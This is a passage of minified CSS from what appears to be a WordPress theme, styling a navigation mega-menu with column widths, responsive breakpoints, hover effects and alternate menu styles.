li.penci-block-mega.penci-mg-fullwidth.penci-megapos-flexible,.navigation .menu li.penci-block-mega.penci-mg-fullwidth.penci-megapos-center,.navigation .menu li.penci-block-mega.penci-mg-fullwidth.penci-megapos-flexible{position:static!important}#navigation .menu li.penci-block-mega.penci-mg-fullwidth>.penci-dropdown-menu>.container{width:100%}#navigation .penci-megamenu{width:100%;display:table}#navigation .penci-megamenu .penci-mega-child-categories{width:230px;display:table-cell;vertical-align:top;background:#fff;padding:20px 0;position:relative}#navigation .penci-megamenu .penci-mega-child-categories.pcmit-top{display:table-row;width:100%}#navigation .penci-megamenu .penci-mega-child-categories.pcmit-bottom{display:table-footer-group;width:100%}#navigation .penci-megamenu .penci-mega-child-categories:after{content:"";width:1px;height:100%;position:absolute;top:0;right:0;background-color:#ececec}#navigation .penci-megamenu .penci-mega-child-categories a{min-width:0;display:block;font-size:12px;text-align:right;line-height:1.4em;margin:0;padding:12px 20px;border-top:1px solid transparent;border-bottom:1px solid transparent;position:relative}#navigation .penci-megamenu .penci-mega-child-categories.pcmit-bottom a,#navigation .penci-megamenu .penci-mega-child-categories.pcmit-top a{display:inline-block}#navigation .penci-megamenu .penci-mega-child-categories a.cat-active{border-top-color:#ececec;border-bottom-color:#ececec;background:#fff;color:var(--pcaccent-cl);z-index:10;position:relative}#navigation .penci-megamenu .penci-mega-child-categories a.cat-active:before{content:"";width:1px;height:100%;position:absolute;top:0;right:0;background:#fff;z-index:1;transition:none;-webkit-transition:none;-moz-transition:none}#navigation .penci-megamenu .penci-content-megamenu{display:table-cell}#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts{padding:20px 10px 0 10px}#navigation .penci-megamenu .penci-content-megamenu .penci-mega-row{width:100%;display:none;vertical-align:top}.penci-mega-post-inner{position:relative;overflow:hidden}#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post,.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post{width:20%;padding:0 10px;float:left;margin-bottom:20px;position:relative}#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-4 .penci-mega-post,.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-4 .penci-mega-post{width:25%}#navigation .penci-megamenu .pcmit-side+.penci-content-megamenu.pcmis-4 .penci-mega-latest-posts.col-mn-4 .penci-mega-post,.navigation .penci-megamenu .pcmit-side+.penci-content-megamenu.pcmis-4 .penci-mega-latest-posts.col-mn-4 .penci-mega-post{width:calc(100% / 3)}#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-5 .penci-mega-post:nth-child(5n+1),.navigation .penci-megamenu .pcmit-side+.penci-content-megamenu.pcmis-4 .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(3n+1),.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-5 .penci-mega-post:nth-child(5n+1){clear:both}#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(4n+1),.navigation .penci-megamenu .pcmit-side+.penci-content-megamenu.pcmis-4 .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(3n+1){clear:none}.penci-megamenu .penci-image-holder:before{padding-top:66.6667%}@media only screen and (min-width:1800px){#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7 .penci-mega-post{width:14.2857%}#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6 .penci-mega-post{width:16.66666%}#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(6n+1),#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7 .penci-mega-post:nth-child(7n+1){clear:both}}@media only screen and (max-width:1799px) and (min-width:1500px){#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7 .penci-mega-post{width:16.66666%}#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6 .penci-mega-post{width:20%}#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(5n+1),#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7 .penci-mega-post:nth-child(6n+1){clear:both}#navigation .penci-megamenu .penci-content-megamenu.pcmis-5 .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(5n+1){clear:none}}@media only screen and (max-width:1799px){#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-6.mega-row-1 .penci-mega-post:nth-child(6),#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-6.mega-row-2 .penci-mega-post:nth-child(11),#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-6.mega-row-2 .penci-mega-post:nth-child(12),#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-6.mega-row-3 .penci-mega-post:nth-child(16),#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-6.mega-row-3 .penci-mega-post:nth-child(17),#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-6.mega-row-3 .penci-mega-post:nth-child(18),#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-7.mega-row-1 .penci-mega-post:nth-child(7),#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-7.mega-row-2 .penci-mega-post:nth-child(13),#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-7.mega-row-2 .penci-mega-post:nth-child(14),#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-7.mega-row-3 .penci-mega-post:nth-child(19),#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-7.mega-row-3 .penci-mega-post:nth-child(20),#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-7.mega-row-3 .penci-mega-post:nth-child(21){display:none}}@media only screen and (max-width:1499px) and (min-width:1170px){#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7 .penci-mega-post{width:20%}#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6 .penci-mega-post{width:25%}#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(4n+1),#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7 .penci-mega-post:nth-child(5n+1){clear:both}}@media only screen and (max-width:1499px){#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-1 .penci-mega-post:nth-child(5),#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-2 .penci-mega-post:nth-child(10),#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-2 .penci-mega-post:nth-child(9),#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-3 .penci-mega-post:nth-child(13),#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-3 .penci-mega-post:nth-child(14),#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-3 .penci-mega-post:nth-child(15),#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-1 .penci-mega-post:nth-child(6),#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-2 .penci-mega-post:nth-child(11),#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-2 .penci-mega-post:nth-child(12),#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-3 .penci-mega-post:nth-child(16),#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-3 .penci-mega-post:nth-child(17),#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-3 .penci-mega-post:nth-child(18){display:none}}@media only screen and (max-width:1169px){#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7 .penci-mega-post{width:25%}#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6 .penci-mega-post{width:33.33333%}#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(3n+1),#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7 .penci-mega-post:nth-child(4n+1){clear:both}#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-1 .penci-mega-post:nth-child(4),#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-2 .penci-mega-post:nth-child(7),#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-2 .penci-mega-post:nth-child(8),#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-3 .penci-mega-post:nth-child(10),#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-3 .penci-mega-post:nth-child(11),#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-3 .penci-mega-post:nth-child(12),#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-1 .penci-mega-post:nth-child(5),#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-2 .penci-mega-post:nth-child(10),#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-2 .penci-mega-post:nth-child(9),#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-3 .penci-mega-post:nth-child(13),#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-3 .penci-mega-post:nth-child(14),#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-3 .penci-mega-post:nth-child(15){display:none}}#navigation .penci-megamenu .penci-mega-thumbnail{display:block;margin:0 0 17px 0;position:relative}#navigation .penci-megamenu .penci-mega-thumbnail a{width:100%}#navigation .penci-megamenu .penci-mega-thumbnail .mega-cat-name{font-size:10px;background:var(--pcaccent-cl);text-transform:uppercase;position:absolute;display:inline-block;padding:0 6px;color:#fff;top:0;left:0;z-index:3;height:18px;font-weight:400;line-height:18px}#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post a{margin:0;padding:0;min-width:0;border-bottom:none;position:relative;text-align:center;line-height:1.4}#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post a:hover,.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post a:hover{color:var(--pcaccent-cl)}#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-thumbnail a{transition:opacity .3s;-webkit-transition:opacity .3s;-moz-transition:opacity .3s}#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-thumbnail a:hover{opacity:.8}#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-thumbnail .mega-cat-name a{font-size:inherit!important;font-family:inherit!important;font-weight:inherit!important;line-height:inherit!important;color:inherit!important;opacity:1;padding:0;margin:0;text-transform:none;letter-spacing:0}#navigation .penci-megamenu .penci-mega-thumbnail img{width:100%;height:auto}.penci-megamenu .post-mega-title{font-family:var(--pchead-font);font-style:normal;font-weight:var(--pchead-wei);line-height:1.35}#navigation .penci-megamenu .post-mega-title{text-align:center;margin:0}#navigation .penci-megamenu .post-mega-title a{text-align:center}#navigation .penci-megamenu .penci-mega-date{line-height:1;font-size:12px;color:#999;text-align:center;margin-top:6px}#navigation ul.menu>li.megamenu{position:static}#navigation ul.menu>li.megamenu>ul.sub-menu{width:var(--pcctain);padding:15px 0;display:table;table-layout:fixed;background:#fff;left:0}#navigation.header-7 ul.menu>li.megamenu>ul.sub-menu,#navigation.header-8 ul.menu>li.megamenu>ul.sub-menu,#navigation.header-9 ul.menu>li.megamenu>ul.sub-menu{width:100%}#navigation ul.menu>li.megamenu>ul.sub-menu>li{min-width:200px;max-width:300px;display:table-cell;vertical-align:top;padding:0 5px;margin:0;position:relative}#navigation ul.menu>li.megamenu>ul.sub-menu>li:before{left:0;content:"";position:absolute;top:15px;bottom:15px;width:1px;display:block;background:#e0e0e0}#navigation ul.menu>li.megamenu>ul.sub-menu>li:first-child:before{content:none;display:none}#navigation ul.menu>li.megamenu>ul.sub-menu>li>a{margin:0 20px;border-bottom:1px solid #e0e0e0;display:none}#navigation ul.menu>li.megamenu>ul.sub-menu>li>ul.sub-menu{visibility:visible;opacity:1;transform:none;-webkit-transform:none;-moz-transform:none;box-shadow:none;-webkit-box-shadow:none;-moz-box-shadow:none;position:static;border:none}#navigation ul.menu>li.megamenu>ul.sub-menu>li>ul.sub-menu li,#navigation ul.menu>li.megamenu>ul.sub-menu>li>ul.sub-menu li a{display:block}#navigation.menu-style-2 .menu>ul>li>a:before,#navigation.menu-style-2 ul.menu>li>a:before{content:none;display:none}#navigation .menu>ul>li.menu-item-has-children>a:after,#navigation .menu>ul>li.penci-mega-menu>a:after,#navigation ul.menu>li.menu-item-has-children>a:after,#navigation ul.menu>li.penci-mega-menu>a:after{font-family:FontAwesome;content:"\f107";margin-left:5px;color:inherit;font-size:13px;font-weight:400;width:auto;display:inline-block;transform:scale(.8)}#navigation ul.sub-menu>li.menu-item-has-children>a:after{font-family:FontAwesome;content:"\f105";margin-left:5px;color:inherit;font-size:13px;font-weight:400;width:auto;display:inline-block;float:right;transform:scale(.8)}.penci-fawesome-ver5 #navigation .menu>ul>li.menu-item-has-children>a:after,.penci-fawesome-ver5 #navigation .menu>ul>li.penci-mega-menu>a:after,.penci-fawesome-ver5 #navigation ul.menu>li.menu-item-has-children>a:after,.penci-fawesome-ver5 #navigation ul.menu>li.penci-mega-menu>a:after{font-family:"Font Awesome 5 Free";content:"\f107";font-weight:900}#navigation.menu-style-2 .menu .children,#navigation.menu-style-2 .menu .sub-menu{border-top:4px solid #e0e0e0;padding:8px 0}#navigation.menu-style-2 .menu ul ul.sub-menu:before,#navigation.menu-style-2 ul.menu ul.sub-menu:before{width:0;height:4px;top:-4px;position:absolute;background:var(--pcaccent-cl);left:0;-webkit-transition:width .4s cubic-bezier(.87,.02,.23,1);-webkit-transition:width .4s cubic-bezier(.87,.02,.23,1.005);-moz-transition:width .4s cubic-bezier(.87,.02,.23,1.005);-o-transition:width .5s cubic-bezier(.87,.02,.23,1.005);transition:width .5s cubic-bezier(.87,.02,.23,1.005);content:"";transition-delay:.3s;-webkit-transition-delay:.3s;-moz-transition-delay:.3s}#navigation.menu-style-2 .menu ul li:hover>ul:before,#navigation.menu-style-2 ul.menu li:hover>ul:before{width:100%}#navigation.menu-style-2 ul.menu ul.sub-menu a{padding:8px 0;border:none!important}#navigation.menu-style-2 .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts{padding:0}#navigation.menu-style-2 .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post{margin:0;position:relative;z-index:5}#navigation.menu-style-2 .penci-megamenu .penci-content-megamenu.pcmis-1 .penci-mega-latest-posts .penci-mega-post{padding:0 0 15px}#navigation.menu-style-2 .penci-megamenu .penci-mega-thumbnail{position:relative;z-index:5}#navigation.menu-style-2 .penci-megamenu .penci-mega-meta{padding:0 5px}#navigation.menu-style-2 .penci-megamenu .post-mega-title{line-height:1}.menu-style-2 .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post:before{position:absolute;content:"";right:0;top:0;bottom:0;width:1px;background:#f1f1f2;z-index:1}#navigation.menu-style-2 .penci-megamenu .penci-mega-thumbnail .mega-cat-name{bottom:0;top:auto}#navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories{padding:12px 0}#navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories:after{background-color:#f1f1f2}#navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a{min-width:0;display:block;text-align:left;line-height:1.4em;margin:0;padding:6px 0 6px 20px;position:relative;border:none;background-color:inherit;z-index:0}#navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories.pcmit-bottom a,#navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories.pcmit-top a{display:inline-block}#navigation.menu-style-2 ul.sub-menu .penci-megamenu .penci-mega-child-categories a,.navigation.menu-style-2 ul.sub-menu .penci-megamenu .penci-mega-child-categories a{padding:6px 0 6px 20px}#navigation.menu-style-2 ul.sub-menu .penci-megamenu .penci-mega-child-categories.pcmit-bottom a,#navigation.menu-style-2 ul.sub-menu .penci-megamenu .penci-mega-child-categories.pcmit-top a{padding-top:20px;padding-bottom:20px}#navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a:after{content:"";display:block;position:absolute;top:50%;margin-top:-.5px;-webkit-transition:width .4s ease-in-out;-o-transition:width .4s ease-in-out;transition:width .4s ease-in-out;border-bottom:1px solid;width:0;opacity:.3;left:20px;z-index:1;box-shadow:none;-webkit-box-shadow:none;color:inherit}#navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a:hover:after{width:calc(100% + 20px)}#navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a span{position:relative;z-index:2;background-color:inherit;padding-right:20px;display:inline-block}#navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a.all-style:before{content:"";background:#f1f1f2;width:24px;display:block;height:1px;margin:4px 0 17px;opacity:1;position:static;box-shadow:none;-webkit-box-shadow:none}#navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories.pcmit-bottom a.all-style:before,#navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories.pcmit-top a.all-style:before{display:none}#navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a.all-style:after{content:none;display:none}#navigation.menu-style-2 ul.menu>li.megamenu>ul.sub-menu{padding:5px 0}#navigation.menu-style-2 ul.menu>li.megamenu>ul.sub-menu>li>ul.sub-menu:before{display:none;content:none}#navigation.menu-style-3 .menu .children,#navigation.menu-style-3 .menu .penci-dropdown-menu,#navigation.menu-style-3 .menu .sub-menu,.navigation.menu-style-3 .menu .children,.navigation.menu-style-3 .menu .penci-dropdown-menu,.navigation.menu-style-3 .menu .sub-menu{border:1px solid var(--pcborder-cl)}#navigation.menu-style-3 .menu .sub-menu:after,#navigation.menu-style-3 .menu .sub-menu:before,.navigation.menu-style-3 .menu .sub-menu:after,.navigation.menu-style-3 .menu .sub-menu:before{width:0;height:0;border-style:solid;border-width:0 6px 6px 6px;border-color:transparent transparent var(--pcborder-cl) transparent;transform:rotate(0);position:absolute;top:-6px;left:14px;content:"";z-index:99}#navigation.menu-style-3 .menu .sub-menu .sub-menu:after,#navigation.menu-style-3 .menu .sub-menu .sub-menu:before,.navigation.menu-style-3 .menu .sub-menu .sub-menu:after,.navigation.menu-style-3 .menu .sub-menu .sub-menu:before{top:10px;left:-6px;border-width:6px 6px 6px 0;border-color:transparent var(--pcborder-cl) transparent transparent;border-bottom-color:transparent!important}#navigation.menu-style-3 .menu .sub-menu:after,.navigation.menu-style-3 .menu .sub-menu:after{border-width:0 5px 5px 5px;border-color:transparent transparent #fff transparent;top:-4px;left:15px}#navigation.menu-style-3 .menu .sub-menu .sub-menu:after,.navigation.menu-style-3 .menu .sub-menu .sub-menu:after{top:11px;left:-4px;border-width:5px 5px 5px 0;border-color:transparent #fff transparent transparent;border-bottom-color:transparent!important}#navigation.menu-style-3 .menu .megamenu .sub-menu:after,#navigation.menu-style-3 .menu .megamenu .sub-menu:before,#navigation.menu-style-3 .menu .penci-mega-menu .sub-menu:after,#navigation.menu-style-3 .menu .penci-mega-menu .sub-menu:before,.navigation.menu-style-3 .menu .megamenu .sub-menu:after,.navigation.menu-style-3 .menu .megamenu .sub-menu:before,.navigation.menu-style-3 .menu .penci-mega-menu .sub-menu:after,.navigation.menu-style-3 .menu .penci-mega-menu .sub-menu:before{content:none;display:none}#navigation.menu-item-padding .menu>ul>li,#navigation.menu-item-padding ul.menu>li{margin:0}#navigation.menu-item-padding .menu>ul>li>a,#navigation.menu-item-padding ul.menu>li>a{padding:0 15px}#navigation.menu-item-padding .menu>li.current-menu-ancestor>a,#navigation.menu-item-padding .menu>li.current-menu-item>a,#navigation.menu-item-padding .menu>li.current_page_item>a,#navigation.menu-item-padding .menu>li:hover>a,#navigation.menu-item-padding .menu>li>a:hover{background-color:#ececec}#navigation.menu-item-padding .menu>ul>li>a:before,#navigation.menu-item-padding ul.menu>li>a:before{content:none;display:none}@media only screen and (min-width:961px){#navigation.header-1.menu-item-padding,#navigation.header-1.menu-item-padding ul.menu>li>a,#navigation.header-4.menu-item-padding,#navigation.header-4.menu-item-padding ul.menu>li>a,#navigation.header-7.menu-item-padding,#navigation.header-7.menu-item-padding ul.menu>li>a{height:59px}.is-sticky #navigation.header-1.menu-item-padding ul.menu>li>a,.is-sticky #navigation.header-10.menu-item-padding ul.menu>li>a,.is-sticky #navigation.header-11.menu-item-padding ul.menu>li>a,.is-sticky #navigation.header-4.menu-item-padding ul.menu>li>a,.is-sticky #navigation.header-6.menu-item-padding ul.menu>li>a,.is-sticky #navigation.header-7.menu-item-padding ul.menu>li>a,.is-sticky #navigation.header-9.menu-item-padding ul.menu>li>a{height:58px}.is-sticky #navigation.header-10.penci-logo-overflow #logo,.is-sticky #navigation.header-11.penci-logo-overflow #logo{height:58px!important}.is-sticky #navigation.header-10 #logo img,.is-sticky #navigation.header-11 #logo img{max-height:58px}.is-sticky #navigation.header-10 .menu>li>a,.is-sticky #navigation.header-10 ul.menu>li>a,.is-sticky #navigation.header-11 .menu>li>a,.is-sticky #navigation.header-11 ul.menu>li>a{line-height:58px}#navigation.header-10.menu-item-padding,#navigation.header-10.menu-item-padding ul.menu>li>a,#navigation.header-11.menu-item-padding,#navigation.header-11.menu-item-padding ul.menu>li>a,#navigation.header-6.menu-item-padding,#navigation.header-6.menu-item-padding ul.menu>li>a,#navigation.header-9.menu-item-padding,#navigation.header-9.menu-item-padding ul.menu>li>a{height:81px}#navigation.header-2.menu-item-padding ul.menu>li>a,#navigation.header-3.menu-item-padding ul.menu>li>a,#navigation.header-5.menu-item-padding ul.menu>li>a,#navigation.header-8.menu-item-padding ul.menu>li>a{height:60px;margin-top:-1px}.is-sticky #navigation.header-2.menu-item-padding ul.menu>li>a,.is-sticky #navigation.header-3.menu-item-padding ul.menu>li>a,.is-sticky #navigation.header-5.menu-item-padding ul.menu>li>a,.is-sticky #navigation.header-8.menu-item-padding ul.menu>li>a{height:58px;margin-top:0}#navigation.header-1.menu-item-padding,#navigation.header-4.menu-item-padding,#navigation.header-6.menu-item-padding,#navigation.header-7.menu-item-padding,#navigation.header-9.menu-item-padding{border-top:none!important}.is-sticky #navigation.menu-item-padding{height:58px;border:none!important}#navigation-sticky-wrapper:not(.is-sticky) .menu .children,#navigation-sticky-wrapper:not(.is-sticky) .menu .sub-menu{margin-top:-1px}}@-moz-document url-prefix(){#navigation.menu-style-2 ul.menu>li.megamenu>ul.sub-menu:before{top:0}}.pcmis-2 .penci-mega-post .penci-mega-meta{position:absolute;left:0;right:0;bottom:0;background:#000;background:linear-gradient(0deg,rgba(0,0,0,1) 0,rgba(0,0,0,0) 100%);width:100%;padding:10px 5px;z-index:6}#navigation.menu-style-2 .pcmis-2 .penci-mega-post .penci-mega-meta,.navigation.menu-style-2 .pcmis-2 .penci-mega-post .penci-mega-meta{left:0;right:0;width:100%;padding-bottom:15px}#navigation.menu-style-2 .penci-megamenu .pcmis-2.penci-content-megamenu .penci-mega-latest-posts .penci-mega-post,#navigation.menu-style-2 .penci-megamenu .pcmis-3.penci-content-megamenu .penci-mega-latest-posts .penci-mega-post,.navigation.menu-style-2 .penci-megamenu .pcmis-2.penci-content-megamenu .penci-mega-latest-posts .penci-mega-post,.navigation.menu-style-2 .penci-megamenu .pcmis-3.penci-content-megamenu .penci-mega-latest-posts .penci-mega-post{padding-bottom:0}#navigation .penci-megamenu .pcmis-2 .penci-mega-thumbnail,.navigation .penci-megamenu .pcmis-2 .penci-mega-thumbnail{margin-bottom:0}.penci-megamenu .pcmis-2 .penci-image-holder:before{padding-top:100%}#navigation.menu-style-2 .penci-megamenu .pcmis-2 .penci-mega-thumbnail .mega-cat-name,#navigation.menu-style-2 .penci-megamenu .pcmis-3 .penci-mega-thumbnail .mega-cat-name,.navigation.menu-style-2 .penci-megamenu .pcmis-2 .penci-mega-thumbnail .mega-cat-name,.navigation.menu-style-2 .penci-megamenu .pcmis-3 .penci-mega-thumbnail .mega-cat-name{top:0;bottom:auto}#navigation .menu ul.sub-menu li .pcmis-2 .penci-mega-post a,#navigation .penci-megamenu .pcmis-2 .penci-mega-date,.navigation .penci-megamenu .pcmis-2 .penci-mega-date,.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.pcmis-2 .penci-mega-post a{color:var(--pcbg-cl)}.pcmis-3 .penci-mega-post .penci-mega-meta{position:absolute;left:0;right:0;bottom:10px;width:100%;z-index:6;text-align:left}#navigation .pcmis-3 .penci-mega-post .penci-mega-meta .post-mega-title,#navigation .pcmis-4 .penci-mega-post .penci-mega-meta .post-mega-title,#navigation .pcmis-5 .penci-mega-post .penci-mega-meta .post-mega-title,#navigation .penci-megamenu .pcmis-3 .penci-mega-date,#navigation .penci-megamenu .pcmis-4 .penci-mega-date,#navigation .penci-megamenu .pcmis-5 .penci-mega-date,#navigation .penci-megamenu .penci-content-megamenu.pcmis-3 .penci-mega-latest-posts .penci-mega-post a,#navigation .penci-megamenu .penci-content-megamenu.pcmis-4 .penci-mega-latest-posts .penci-mega-post a,#navigation .penci-megamenu .penci-content-megamenu.pcmis-5 .penci-mega-latest-posts .penci-mega-post a,.navigation .pcmis-3 .penci-mega-post .penci-mega-meta .post-mega-title,.navigation .pcmis-4 .penci-mega-post .penci-mega-meta .post-mega-title,.navigation .pcmis-5 .penci-mega-post .penci-mega-meta .post-mega-title,.navigation .penci-megamenu .pcmis-3 .penci-mega-date,.navigation .penci-megamenu .pcmis-4 .penci-mega-date,.navigation .penci-megamenu .pcmis-5 .penci-mega-date,.navigation .penci-megamenu .penci-content-megamenu.pcmis-3 .penci-mega-latest-posts .penci-mega-post a,.navigation .penci-megamenu .penci-content-megamenu.pcmis-4 .penci-mega-latest-posts .penci-mega-post a,.navigation .penci-megamenu .penci-content-megamenu.pcmis-5 .penci-mega-latest-posts .penci-mega-post a{text-align:inherit}#navigation .penci-megamenu .pcmis-3 .penci-mega-date time,.navigation .penci-megamenu .pcmis-3 .penci-mega-date time{background:var(--pcbg-cl);display:inline}#navigation .pcmis-3 .penci-mega-post .penci-mega-meta .post-mega-title,.navigation .pcmis-3 .penci-mega-post .penci-mega-meta .post-mega-title{display:inline;background:#fff;line-height:normal;box-decoration-break:clone;-webkit-box-decoration-break:clone}#navigation .penci-megamenu .penci-content-megamenu.pcmis-3 .penci-mega-latest-posts .penci-mega-post a,.navigation .penci-megamenu .penci-content-megamenu.pcmis-3 .penci-mega-latest-posts .penci-mega-post a{line-height:normal}#navigation .pcmis-3 .penci-mega-post .penci-mega-meta .post-mega-title a,.navigation .pcmis-3 .penci-mega-post .penci-mega-meta .post-mega-title a{display:inline}#navigation .penci-megamenu .pcmis-3 .penci-mega-thumbnail,.navigation .penci-megamenu .pcmis-3 .penci-mega-thumbnail{margin-bottom:0}.pcmis-4 .penci-mega-post .penci-mega-post-inner,.pcmis-5 .penci-mega-post .penci-mega-post-inner{display:flex;flex-direction:row;flex-wrap:wrap;align-items:center}.pcmis-4 .penci-mega-post .penci-mega-post-inner .penci-mega-thumbnail,.pcmis-5 .penci-mega-post .penci-mega-post-inner .penci-mega-thumbnail{width:100px}.pcmis-4 .penci-mega-post .penci-mega-post-inner .penci-mega-meta,.pcmis-5 .penci-mega-post .penci-mega-post-inner .penci-mega-meta{width:calc(100% - 100px)}.pcmis-4 .penci-mega-post .penci-mega-meta,.pcmis-5 .penci-mega-post .penci-mega-meta{text-align:left;padding:0 0 0 20px}#navigation .penci-megamenu .pcmis-4 .penci-mega-thumbnail,#navigation .penci-megamenu .pcmis-5 .penci-mega-thumbnail,.navigation .penci-megamenu .pcmis-4 .penci-mega-thumbnail,.navigation .penci-megamenu .pcmis-5 .penci-mega-thumbnail{margin-bottom:0}.penci-megamenu .pcmis-4 .penci-image-holder:before{padding-top:100%}.penci-megamenu .pcmis-5 .penci-image-holder:before{padding-top:130px}#navigation .penci-megamenu .penci-content-megamenu.pcmis-5 .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(5n+1),#navigation .penci-megamenu .penci-content-megamenu.pcmis-5 .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(7n+1),.navigation .penci-megamenu .penci-content-megamenu.pcmis-5 .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(5n+1),.navigation .penci-megamenu .penci-content-megamenu.pcmis-5 .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(7n+1){width:40%;clear:both}.pcmis-5 .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(5n+1) .penci-mega-post-inner .penci-mega-meta,.pcmis-5 